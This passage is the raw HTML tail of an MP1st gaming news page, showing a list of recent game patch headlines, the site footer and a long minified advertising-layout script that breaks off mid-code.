856							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/ghost-of-yotei-update-2-005-turns-on-qssr-by-default-launches-complete-edition">Ghost of Yotei Update 2.005 Turns on QSSR by Default, Launches Complete Edition</a></h2>
857                            <div class="kevin-patch-meta">
858                                <span class="kevin-patch-date">
859                                    <i class="fas fa-clock"></i> 9 hours ago                                </span>
860                                <span class="kevin-patch-comments">
861                                    <i class="fas fa-comments"></i> 0                                </span>
862                            </div><br>
863                            
864                        </div>
865                    </article>
866                                        <article class="kevin-patch-item">
867                        <div class="kevin-patch-content">
868							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/marvels-wolverine-new-update-1-002-uses-qssr-by-default">Marvel&#8217;s Wolverine New Update 1.002 Uses QSSR by Default</a></h2>
869                            <div class="kevin-patch-meta">
870                                <span class="kevin-patch-date">
871                                    <i class="fas fa-clock"></i> 10 hours ago                                </span>
872                                <span class="kevin-patch-comments">
873                                    <i class="fas fa-comments"></i> 0                                </span>
874                            </div><br>
875                            
876                        </div>
877                    </article>
878                                        <article class="kevin-patch-item">
879                        <div class="kevin-patch-content">
880							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/college-football-27-receives-two-updates-on-october-1-update-1-013-1-014">College Football 27 Receives Two Updates on October 1 as Update 1.013 and 1.014</a></h2>
881                            <div class="kevin-patch-meta">
882                                <span class="kevin-patch-date">
883                                    <i class="fas fa-clock"></i> 10 hours ago                                </span>
884                                <span class="kevin-patch-comments">
885                                    <i class="fas fa-comments"></i> 0                                </span>
886                            </div><br>
887                            
888                        </div>
889                    </article>
890                                        <article class="kevin-patch-item">
891                        <div class="kevin-patch-content">
892							<h2 class="kevin-patch-heading"><a href="https://mp1st.com/title-updates-and-patches/fallout-76-update-1-000-003-released-as-first-ps5-xbox-series-patch">Fallout 76 Update 1.000.003 Released as First PS5, Xbox Series Patch</a></h2>
893                            <div class="kevin-patch-meta">
894                                <span class="kevin-patch-date">
895                                    <i class="fas fa-clock"></i> 10 hours ago                                </span>
896                                <span class="kevin-patch-comments">
897                                    <i class="fas fa-comments"></i> 0                                </span>
898                            </div><br>
899                            
900                        </div>
901                    </article>
902                    <div class="kevin-pagination"><button id="kevin-btn-next" data-page="2">Next »</button></div>        </div>
903    </div>
904
905
906
907
908</div>
909
910
911<footer id="footer">
912    <div class="footer-container">
913        <div class="footer-left">
914            <div class="footer-logo">
915                <a href="https://mp1st.com">
916                    <img src="https://mp1st.com/wp-content/uploads/2024/12/header-mp1st-red1st.webp" alt="mp1stlogo">
917                </a>
918            </div>
919            <div class="footer-text">
920                <p>We cover everything gaming! News, reviews, previews, hardware reviews, videos, and more! Lots more!</p>
921            </div>
922
923            <div class="footer-rights">
924                <p>© MP1st 2026 All rights reserved.</p>
925            </div>
926        </div>
927        <div class="footer-right">
928
929            <!-- Display footer menu -->
930            <nav class="footer-nav"><ul id="menu-footernew" class="footer-menu"><li id="menu-item-266124" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-266124"><a href="https://mp1st.com/privacy-policy">Privacy Policy</a></li>
931<li id="menu-item-266125" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-266125"><a href="https://mp1st.com/cookie-policy">Cookie Policy</a></li>
932<li id="menu-item-266126" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-266126"><a href="https://mp1st.com/about-mp1st">About MP1st</a></li>
933<li id="menu-item-266127" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-266127"><a href="https://mp1st.com/mp1st-staff">MP1st Staff</a></li>
934<li id="menu-item-266128" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-266128"><a href="https://mp1st.com/mp1st-review-policy-scoring">
934MP1st Review Policy and Scoring</a></li>
935<li id="menu-item-315755" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-315755"><a href="https://mp1st.com/affiliate-disclosure-mp1st">Affiliate Disclosure</a></li>
936</ul></nav>        </div>
937    </div>
938
939    <a href="#" class="scroll-to-top" id="scroll-to-top">
940        <i class="fas fa-arrow-up"></i>
941    </a>
942
943</footer>
944
945<script data-no-optimize='1' data-cfasync='false' id='cls-insertion-86c50ec'>(function(){window.adthriveCLS.buildDate=`2026-09-30`;let e={Below_Post_1:`Below_Post_1`,Below_Post:`Below_Post`,Content:`Content`,Content_1:`Content_1`,Content_2:`Content_2`,Content_3:`Content_3`,Content_4:`Content_4`,Content_5:`Content_5`,Content_6:`Content_6`,Content_7:`Content_7`,Content_8:`Content_8`,Content_9:`Content_9`,Recipe:`Recipe`,Recipe_1:`Recipe_1`,Recipe_2:`Recipe_2`,Recipe_3:`Recipe_3`,Recipe_4:`Recipe_4`,Recipe_5:`Recipe_5`,Native_Recipe:`Native_Recipe`,Footer_1:`Footer_1`,Footer:`Footer`,Header_1:`Header_1`,Header_2:`Header_2`,Header:`Header`,Sidebar_1:`Sidebar_1`,Sidebar_2:`Sidebar_2`,Sidebar_3:`Sidebar_3`,Sidebar_4:`Sidebar_4`,Sidebar_5:`Sidebar_5`,Sidebar_9:`Sidebar_9`,Sidebar:`Sidebar`,Interstitial_1:`Interstitial_1`,Interstitial:`Interstitial`,Video_StickyOutstream_1:`Video_StickyOutstream_1`,Video_StickyOutstream:`Video_StickyOutstream`,Video_StickyInstream:`Video_StickyInstream`,Sponsor_Tile:`Sponsor_Tile`},t=[`siteId`,`siteName`,`adOptions`,`breakpoints`,`adUnits`],n=(e,n=t)=>{if(!e)return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;for(let t=0;t<n.length;t++)if(!e[n[t]])return window.adthriveCLS&&(window.adthriveCLS.disabled=!0),!1;return!0},r=()=>window.adthriveCLS;function i(e){"@babel/helpers - typeof";return i=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},i(e)}function a(e,t){if(i(e)!=`object`||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t||`default`);if(i(r)!=`object`)return r;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function o(e){var t=a(e,`string`);return i(t)==`symbol`?t:t+``}function s(e,t,n){return(t=o(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var c=class{constructor(){s(this,`_clsGlobalData`,r())}get enabled(){return!!this._clsGlobalData&&!!this._clsGlobalData.siteAds&&n(this._clsGlobalData.siteAds)}get error(){return!!(this._clsGlobalData&&this._clsGlobalData.error)}set siteAds(e){this._clsGlobalData.siteAds=e}get siteAds(){return this._clsGlobalData.siteAds}set disableAds(e){this._clsGlobalData.disableAds=e}get disableAds(){return this._clsGlobalData.disableAds}get enabledLocations(){return[e.Below_Post,e.Content,e.Recipe,e.Sidebar]}get injectedFromPlugin(){return this._clsGlobalData.injectedFromPlugin}set injectedFromPlugin(e){this._clsGlobalData.injectedFromPlugin=e}get injectedFromSiteAds(){return this._clsGlobalData.injectedFromSiteAds}set injectedFromSiteAds(e){this._clsGlobalData.injectedFromSiteAds=e}setInjectedSlots(e){this._clsGlobalData.injectedSlots=this._clsGlobalData.injectedSlots||[],this._clsGlobalData.injectedSlots.push(e)}get injectedSlots(){return this._clsGlobalData.injectedSlots}setInjectedVideoSlots(e){this._clsGlobalData.injectedVideoSlots=this._clsGlobalData.injectedVideoSlots||[],this._clsGlobalData.injectedVideoSlots.push(e)}get injectedVideoSlots(){return this._clsGlobalData.injectedVideoSlots}setExperiment(e,t,n=!1){this._clsGlobalData.experiments=this._clsGlobalData.experiments||{},this._clsGlobalData.siteExperiments=this._clsGlobalData.siteExperiments||{};let r=n?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;r[e]=t}getExperiment(e,t=!1){let n=t?this._clsGlobalData.siteExperiments:this._clsGlobalData.experiments;return n&&n[e]}setWeightedChoiceExperiment(e,t,n=!1){this._clsGlobalData.experimentsWeightedChoice=this._clsGlobalData.experimentsWeightedChoice||{},this._clsGlobalData.siteExperimentsWeightedChoice=this._clsGlobalData.siteExperimentsWeightedChoice||{};let r=n?this._clsGlobalData.siteExperimentsWeightedChoice:this._clsGlobalData.experimentsWeightedChoice;r[e]=t}getWeightedChoiceExperiment(e,t=!1){var n,r;let i=t?(n=this._clsGlobalData)==null?void 0:n.siteExperimentsWeightedChoice:(r=this._clsGlobalData)==null?void 0:r.experimentsWeightedChoice;return i&&i[e]}get bucket(){return this._clsGlobalData.bucket}set videoDisabledFromPlugin(e){this._clsGlobalData.videoDisabledFromPlugin=e}get videoDisabledFromPlugin(){return this._clsGlobalData.videoDisabledFromPlugin}set targetDensityLog(e){this._clsGlobalData.targetDensityLog=e}get targetDensityLog(){return this._clsGlobalData.targetDensityLog}get removeVideoTitleWrapper(){return this._clsGlobalData.siteAds.adOptions.removeVideoTitleWrapper}},l=class{},u=class extends l{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}},d=class{constructor(){s(this,`_featureRollouts`,{}),s(this,`_checkedFeatureRollouts`,new Map),s(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let t=this._featureRollouts[e],n=t.enabled,r=t.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)){let e=(r.pct_enabled??100)/100;n&&=new u(e).get()}return n}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},f=class extends d{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEac
945h(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},p,m;let h=(p=window.adthrive)==null||(p=p.siteAds)==null?void 0:p.featureRollouts,g=(m=window.adthriveCLS)==null||(m=m.siteAds)==null?void 0:m.featureRollouts,_=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,v=new f(_(g)&&g||_(h)&&h||{}),y=new f(window.adthrive&&window.adthrive.siteAds&&`featureRollouts`in window.adthrive.siteAds?window.adthrive.siteAds.featureRollouts??{}:{}),b=e=>e.indexOf(`hbs-q`)===0,ee=({bucket:e,isRolloutEnabled:t}={})=>{var n;let r=e??((n=window.adthrive)==null?void 0:n.bucket);return!(t??y.isRolloutEnabled.bind(y))(`enable-sticky-related`)||b(r||``)},x=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let S=navigator.userAgent,C=x(e=>/Chrom|Applechromium/.test(e||S)),te=x(()=>/WebKit/.test(S)),ne=x(()=>C()?`chromium`:te()?`webkit`:`other`),re=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),ie=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),ae=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,w=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||ae(e),T=x((e=S)=>w(e)?`tablet`:ie(e)&&!w(e)?`mobile`:re(e)?`desktop`:`tablet`),oe={desktop:`desktop`,tablet:`tablet`,phone:`mobile`},se=e=>e===`mobile`?`phone`:e,ce=()=>{var e;let t=((e=window)==null?void 0:e.adthrive)&&`deviceType`in window.adthrive&&window.adthrive.deviceType||null;return t&&Object.values(oe).includes(t)?t:null},le=x((e,t)=>{let n=T(e),r=t??n;return se(r===`tablet`&&n!==r?n:r)}),E=(e=navigator.userAgent)=>le(e,ce()),D=(e=navigator.userAgent)=>E(e)===`phone`;var ue,O=class{static _scheduleViewportUpdate(){this._rafId===null&&(this._rafId=window.requestAnimationFrame(()=>{this._rafId=null,this._updateViewportRects()}))}static _updateViewportRects(){if(this._trackedElements.size===0){this._detachViewportListeners();return}let e=[];this._trackedElements.forEach(t=>{if(!t.isConnected){e.push(t);return}this._cachedRects.set(t,t.getBoundingClientRect())}),e.forEach(e=>{this._trackedElements.delete(e),this._cachedRects.delete(e)}),this._trackedElements.size===0&&this._detachViewportListeners()}static _attachViewportListeners(){this._listenersAttached||=(window.addEventListener(`scroll`,this._viewportListener,{passive:!0}),window.addEventListener(`resize`,this._viewportListener),!0)}static _detachViewportListeners(){this._listenersAttached&&=(window.removeEventListener(`scroll`,this._viewportListener),window.removeEventListener(`resize`,this._viewportListener),!1)}static trackViewportElement(e){e&&(this._trackedElements.has(e)||(this._trackedElements.add(e),this._attachViewportListeners(),this._scheduleViewportUpdate()))}static untrackViewportElement(e){e&&(this._trackedElements.delete(e),this._cachedRects.delete(e),this._trackedElements.size===0&&this._detachViewportListeners())}static getCachedRect(e){return this._cachedRects.get(e)}static getScrollTop(){return(window.pageYOffset||document.documentElement.scrollTop)-(document.documentElement.clientTop||0)}static getScrollBottom(){let e=window.innerHeight||document.documentElement.clientHeight||document.body.clientHeight||0;return this.getScrollTop()+e}static shufflePlaylist(e){let t=e.length,n,r;for(;t!==0;)r=Math.floor(Math.random()*e.length),--t,n=e[t],e[t]=e[r],e[r]=n;return e}static isMobileLandscape(){return window.matchMedia(`(orientation: landscape) and (max-height: 480px)`).matches}static playerViewable(e){let t=this._cachedRects.get(e)??e.getBoundingClientRect();return this.playerViewableFromRect(t)}static playerViewableFromRect(e){return this.isMobileLandscape()?window.innerHeight>e.top+e.height/2&&e.top+e.height/2>0:window.innerHeight>e.top+e.height/2}static createQueryString(e){return Object.keys(e).map(t=>`${t}=${e[t]}`).join(`&`)}static createEncodedQueryString(e){return Object.keys(e).map(t=>`${t}=${encodeURIComponent(e[t])}`).join(`&`)}static setMobileLocation(e,t=!1){e||=`bottom-right`;let n=t?`raptive-player-sticky`:`adthrive-collapse`;return e===`top-left`?e=`${n}-top-left`:e===`top-right`?e=`${n}-top-right`:e===`bottom-left`?e=`${n}-bottom-left`:e===`bottom-right`?e=`${n}-bottom-right`:e===`top-center`&&(e=`adthrive-collapse-${D()?`top-center`:`bottom-right`}`),e}static addMaxResolutionQueryParam(e){let t=`max_resolution=${D()?`320`:`1280`}`,[n,r]=String(e).split(`?`);return`${n}?${r?r+`&${t}`:t}`}};ue=O,s(O,`_trackedElements`,new Set),s(O,`_cachedRects`,new WeakMap),s(O,`_rafId`,null),s(O,`_listenersAttached`,!1),s(O,`_viewportListener`,()=>{ue._scheduleViewportUpdate()});let k=(e,t)=>e==null||e!==e?t:e;var de=class{constructor(e){this._clsOptions=e,s(this,`relatedSettings`,void 0),s(this,`players`,void 0),s(this,`removeVideoTitleWrapper`,void 0),s(this,`footerSelector`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.removeVideoTitleWrapper=k(this._clsOptions.siteAds.adOptions.removeVideoTitleWrapper,!1),this.shouldDisableStickyRelated=ee({bucket:this._clsOptions.bucket,isRolloutEnabled:v.isRolloutEnabled.bind(v)});let t=this._clsOptions.siteAds.videoPlayers;this.footerSelector=k(t&&t.footerSelector,``),this.players=k(t&&t.players.map(e=>(e.mobileLocation=O.setMobileLocation(e.mobileLocation),e)),[]),this.relatedSettings=t&&t.contextual}},fe=class{constructor(e){s(this,`mobileStickyPlayerOnPage`,!1),s(this,`collapsiblePlayerOnPage`,!1),s(this,`playlistPlayerAdded`,!1),s(this,`relatedPlayerAdded`,!1),s(this,`collapseSettings`,void 0),s(this,`footerSelector`,``),s(this,`removeVideoTitleWrapper`,!1),s(this,`desktopCollapseSettings`,void 0),s(this,`mobileCollapseSettings`,void 0),s(this,`relatedSettings`,void 0),s(this,`playerId`,void 0),s(this,`playlistId`,void 0),s(this,`desktopRelatedCollapseSettings`,void 0),s(this,`mobileRelatedCollapseSettings`,void 0),s(this,`collapsePlayerId`,void 0),s(this,`players`,void 0),s(this,`videoAdOptions`,void 0),s(this,`shouldDisableStickyRelated`,void 0),this.videoAdOptions=new de(e),this.players=this.videoAdOptions.players,this.relatedSettings=this.videoAdOptions.relatedSettings,this.removeVideoTitleWrapper=this.videoAdOptions.removeVideoTitleWrapper,this.footerSelector=this.videoAdOptions.footerSelector,this.shouldDisableStickyRelated=this.videoAdOptions.shouldDisableStickyRelated}};
945let pe=[[300,50],[300,90],[320,50],[320,100]],A=(t,n)=>t===e.Recipe&&n===`phone`,me=([e,t])=>pe.some(([n,r])=>n===e&&r===t),he=e=>{let t=e.clientWidth;if(getComputedStyle){let n=getComputedStyle(e,null);t-=parseFloat(n.paddingLeft||`0`)+parseFloat(n.paddingRight||`0`)}return t},ge=()=>document.createDocumentFragment().querySelectorAll(`*`),j=(e,t=document)=>{try{return{valid:!0,elements:t.querySelectorAll(e)}}catch(e){return{valid:!1,elements:ge(),error:e}}},M=(e,t=document)=>{try{return{valid:!0,element:t.querySelector(e)}}catch(e){return{valid:!1,element:null,error:e}}},N=e=>j(e),P=e=>{if(e===``)return{valid:!0};let t=N(e);return t.valid?{valid:!0,elements:t.elements}:{valid:!1,error:t.error}},F=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},_e=[[728,90],[300,250],[300,600],[320,50],[970,250],[160,600],[300,1050],[336,280],[970,90],[300,50],[300,90],[320,100],[468,60],[250,250],[120,240],[1,1],[300,300],[300,420],[728,250],[320,300],[300,390]],ve=new Map([[e.Footer,1],[e.Header,2],[e.Sidebar,3],[e.Content,4],[e.Recipe,5],[`Sidebar_sticky`,6],[`Below Post`,7]]),ye=e=>_e.filter(([t,n])=>e.some(([e,r])=>t===e&&n===r)),be=(t,[n,r],i)=>{let{location:a,sequence:o}=t;if(a===e.Footer)return!(i===`phone`&&n===320&&r===100);if(a===e.Header)return!0;if(a===e.Recipe)return!(D()&&i===`phone`&&(n===300&&r===390||n===320&&r===300));if(a===e.Sidebar){let e=t.adSizes.some(([,e])=>e<=300),n=!!o&&o<=5,i=r>300;return i&&!e||o===9?!0:n?i?t.sticky:!0:!i}else return!0},xe=(t,n)=>{let{location:r,sticky:i}=t;if(r===e.Recipe&&n){let{recipeMobile:e,recipeDesktop:t}=n;if(D()&&e!=null&&e.enabled||!D()&&t!=null&&t.enabled)return!0}return r===e.Footer||i},Se=(e,t)=>{var n;let i=(n=r())==null?void 0:n.experiments;return i!==void 0&&Object.prototype.hasOwnProperty.call(i,`smra1`)&&i.smra1===!0&&D()&&A(e,t)},Ce=(t,n)=>{let r=n.adUnits,i=v.isRolloutEnabled(`enable-250px-max-ad-height`);return r.filter(e=>e.dynamic!==void 0&&e.dynamic.enabled).map(r=>{let a=r.location.replace(/\s+/g,`_`),o=a===`Sidebar`?0:2;a===e.Content&&i&&C()&&(r.adSizes=r.adSizes.filter(e=>e[1]<=250));let s=Se(a,t),c=[];for(let e of k(r.targeting,[])){let t=e;t.key===`special`&&c.push(...t.value)}let l=ye(r.adSizes).filter(e=>be(r,e,t)&&(s?me(e):!(e[0]===300&&e[1]===90)));return{auctionPriority:ve.get(a)||8,location:a,sequence:k(r.sequence,1),thirdPartyAdUnitName:r.thirdPartyAdUnitName||``,customGamTargeting:r.customGamTargeting||{},sizes:l,devices:r.devices,pageSelector:k(r.dynamic.pageSelector,``).trim(),elementSelector:k(r.dynamic.elementSelector,``).trim(),position:k(r.dynamic.position,`beforebegin`),max:Math.floor(k(r.dynamic.max,0)),spacing:k(r.dynamic.spacing,0),skip:Math.floor(k(r.dynamic.skip,0)),every:Math.max(Math.floor(k(r.dynamic.every,1)),1),classNames:r.dynamic.classNames||[],sticky:xe(r,n.adOptions.stickyContainerConfig),stickyOverlapSelector:k(r.stickyOverlapSelector,``).trim(),autosize:r.autosize,special:c,lazy:k(r.dynamic.lazy,!1),lazyMax:k(r.dynamic.lazyMax,o),lazyMaxDefaulted:r.dynamic.lazyMax===0?!1:!r.dynamic.lazyMax,name:r.name}})},we=(t,n)=>{let r=he(n),i=t.sticky&&t.location===e.Sidebar;return t.sizes.filter(e=>{let n=t.autosize?e[0]<=r||e[0]<=320:!0,a=i?e[1]<=window.innerHeight-100:!0;return n&&a})},Te=(e,t)=>
945e.devices.includes(t),Ee=e=>{if(e.pageSelector.length===0)return!0;let t=M(e.pageSelector);return t.valid?t.element!==null:!1},I={Desktop:`desktop`,Mobile:`mobile`},De=e=>{let t=document.body,n=`adthrive-device-${e}`;if(!t.classList.contains(n))try{t.classList.add(n)}catch(e){F.error(`BodyDeviceClassComponent`,`init`,{message:e.message});let t=`classList`in document.createElement(`_`);F.error(`BodyDeviceClassComponent`,`init.support`,{support:t})}},L=e=>`adthrive-${e.location.replace(`_`,`-`).toLowerCase()}`,Oe=e=>`${L(e)}-${e.sequence}`;function ke(e,t,n){let r=e.pageOverrides.filter(e=>{let t=P(e.pageSelector);return t.valid||n==null||n({selector:e.pageSelector,selectorType:`pageOverride.pageSelector`,source:`getPageDensitySettings`,error:t.error}),e.pageSelector===``||t.elements&&t.elements.length}).map(e=>e[t]);return r.length?r[0]:e[t]}function Ae({targetDensity:e,targetAll:t,totalAvailableElements:n,mainContentHeight:r,minDivHeight:i,recipeCount:a}){return t?n:Math.floor(e*r/(1-e)/i)-a}function je(e,t,n,r){return e.filter(e=>{try{return t.querySelector(e.elementSelector)}catch(t){return r==null||r({selector:e.elementSelector,selectorType:`elementSelector`,source:`getCombinedMax`,context:n==null?void 0:n(e),error:t}),!1}}).map(e=>Number(e.max)+Number(e.lazyMaxDefaulted?0:e.lazyMax)).sort((e,t)=>t-e)[0]||0}let Me=(e,t)=>{if(e<=0)return{spacing:0,nextAfter:0,reasons:[`non-density-disabled`]};let n=t*e;return{spacing:n,nextAfter:n,reasons:[`non-density-viewport-ratio`]}},Ne=({settings:e,densityDevice:t,dynamicAds:n,target:r,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s,selectorContext:c,onInvalidSelector:l})=>{let u=ke(e,t,l),d=u.adDensity,f=u.onePerViewport,p=d===.99,m=Ae({targetDensity:d,targetAll:p,totalAvailableElements:i,mainContentHeight:a,minDivHeight:o,recipeCount:s}),h=je(n,r,c,l);return{onePerViewport:f,targetAll:p,targetDensity:d,targetDensityUnits:m,combinedMax:h,numberOfUnits:Math.min(i,m,...h>0?[h]:[]),reasons:[p?`target-all-eligible`:`target-density-formula`,...f?[`viewport-floor`]:[]]}},Pe=({totalAvailableElements:e,targetDensityUnits:t,numberOfUnits:n,mainContentHeight:r,absoluteMinimumSpacing:i,viewportHeight:a,onePerViewport:o})=>{let s=e>t||e>n,c=[],l,u;return s?(u=!1,l=r/Math.min(t,n),c.push(`wider-spacing`)):(u=!0,l=o&&a>i?a:i,c.push(`absolute-minimum`)),o&&a>l?(c.push(`viewport-floor`),{insertEvery:a,usedAbsoluteMinimum:u,reasons:c}):{insertEvery:l,usedAbsoluteMinimum:u,reasons:c}},Fe=(e,t)=>{let n=e*.6;return n<=t?{insertEvery:t,usedAbsoluteMinimum:!0,reasons:[`clamped-absolute-minimum`]}:{insertEvery:n,usedAbsoluteMinimum:!1,reasons:[`wider-spacing`]}},Ie=(e,t)=>window.matchMedia(`(min-width: ${t}px)`).matches?`desktop`:window.matchMedia(`(min-width: ${e}px)`).matches?`tablet`:`phone`,R=e=>{let t=e.offsetHeight,n=e.offsetWidth,r=e.getBoundingClientRect(),i=document.body,a=document.documentElement,o=window.pageYOffset||a.scrollTop||i.scrollTop,s=window.pageXOffset||a.scrollLeft||i.scrollLeft,c=a.clientTop||i.clientTop||0,l=a.clientLeft||i.clientLeft||0,u=Math.round(r.top+o-c),d=Math.round(r.left+s-l);return{top:u,left:d,bottom:u+t,right:d+n,width:n,height:t}},Le=(e=document)=>(e===document?document.body:e).getBoundingClientRect().top,Re=e=>e.includes(`,`)?e.split(`,`):[e],ze=(e=document)=>{let t=e.querySelectorAll(`article`);if(t.length===0)return null;let n=Array.from(t).reduce((e,t)=>t.offsetHeight>e.offsetHeight?t:e);return n&&n.offsetHeight>window.innerHeight*1.5?n:null},Be=(e,t,n=document)=>{let r=new Set(t.map.map(({el:e})=>e)),i=ze(n),a=i?[i]:[],o=[];e.forEach(e=>{let t=j(e.elementSelector,n);if(!t.valid)return;let i=Array.from(t.elements),s=Re(e.elementSelector),c=s.length===1?i:[];s.length>1&&s.forEach(e=>{Array.from(j(e,n).elements).forEach(e=>{c.push(e)})});let l=new Set(i.slice(0,e.skip));for(let t of c){if(r.has(t))continue;let n=t.parentElement;n&&n!==document.body?a.push(n):a.push(t),l.has(t)||o.push({dynamicAd:e,element:t})}});let s=Le(n),c=o.map(e=>({item:e,top:e.element.getBoundingClientRect().top-s}));return c.sort((e,t)=>e.top-t.top),[a,c.map(({item:e})=>e)]},Ve=(e,t,n=document)=>{let[r,i]=Be(e,t,n);return r.length===0?[null,i]:[Array.from(r).reduce((e,t)=>
945t.offsetHeight>e.offsetHeight?t:e)||document.body,i]},He=(e,t=`div #comments, section .comments`)=>{let n=e.querySelector(t);return n?e.offsetHeight-n.offsetHeight:e.offsetHeight},Ue=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollHeight,e.offsetHeight,t.clientHeight,t.scrollHeight,t.offsetHeight)},We=()=>{let e=document.body,t=document.documentElement;return Math.max(e.scrollWidth,e.offsetWidth,t.clientWidth,t.scrollWidth,t.offsetWidth)};function z(e,t){t===void 0&&(t={});var n=t.insertAt;if(!(!e||typeof document>`u`)){var r=document.head||document.getElementsByTagName(`head`)[0],i=document.createElement(`style`);i.type=`text/css`,n===`top`&&r.firstChild?r.insertBefore(i,r.firstChild):r.appendChild(i),i.styleSheet?i.styleSheet.cssText=e:i.appendChild(document.createTextNode(e))}}let Ge=e=>e===9,Ke=e=>Ge(e)?`rp-sticky-sb-wrapper`:`rp-sticky-sidebar`,qe=e=>z(`
946  .adthrive-device-phone .adthrive-sticky-content {
947    height: 450px !important;
948    margin-bottom: 100px !important;
949  }
950  .adthrive-content.adthrive-sticky {
951    position: -webkit-sticky;
952    position: sticky !important;
953    top: 42px !important;
954    margin-top: 42px !important;
955  }
956  .adthrive-content.adthrive-sticky:after {
957    content: "— Advertisement. Scroll down to continue. —";
958    font-size: 10pt;
959    margin-top: 5px;
960    margin-bottom: 5px;
961    display:block;
962    color: #888;
963  }
964  .adthrive-sticky-container {
965    position: relative;
966    display: flex;
967    flex-direction: column;
968    justify-content: flex-start;
969    align-items: center;
970    min-height:${e||400}px;
971    margin: 10px 0 10px 0;
972    background-color: #FAFAFA;
973    padding-bottom:0px;
974  }
975  `),Je=e=>{z(`
976  .adthrive-recipe.adthrive-sticky {
977    position: -webkit-sticky;
978    position: sticky !important;
979    top: 42px !important;
980    margin-top: 42px !important;
981  }
982  .adthrive-recipe-sticky-container {
983    position: relative;
984    display: flex;
985    flex-direction: column;
986    justify-content: flex-start;
987    align-items: center;
988    min-height:${e||400}px !important;
989    margin: 10px 0 10px 0;
990    background-color: #FAFAFA;
991    padding-bottom:0px;
992  }
993  `)},B=(e,t)=>e.some(e=>{let n=M(e);return n.valid?n.element!==null:(t==null||t(e,n.error),!1)}),Ye=e=>/^[-_a-zA-Z]+[-_a-zA-Z0-9]*$/.test(e),Xe=(e,t,n)=>{let r=e=>e?!!(e.classList.contains(`adthrive-ad`)||e.id.includes(`_${n}_`)):!1;switch(t){case`beforebegin`:return r(e.previousElementSibling);case`afterend`:return r(e.nextElementSibling);case`afterbegin`:return r(e.firstElementChild);case`beforeend`:return r(e.lastElementChild);default:return!1}};var V=class e extends l{constructor(e=[],t,n=Math.random){super(),this._choices=e,this._default=t,this._random=n}static fromArray(t,n){return new e(t.map(([e,t])=>({choice:e,weight:t})),n)}addChoice(e,t){this._choices.push({choice:e,weight:t})}get(){let e=this._random()*100,t=0;for(let{choice:n,weight:r}of this._choices)if(t+=r,t>=e)return n;return this._default}get totalWeight(){return this._choices.reduce((e,{weight:t})=>e+t,0)}};let 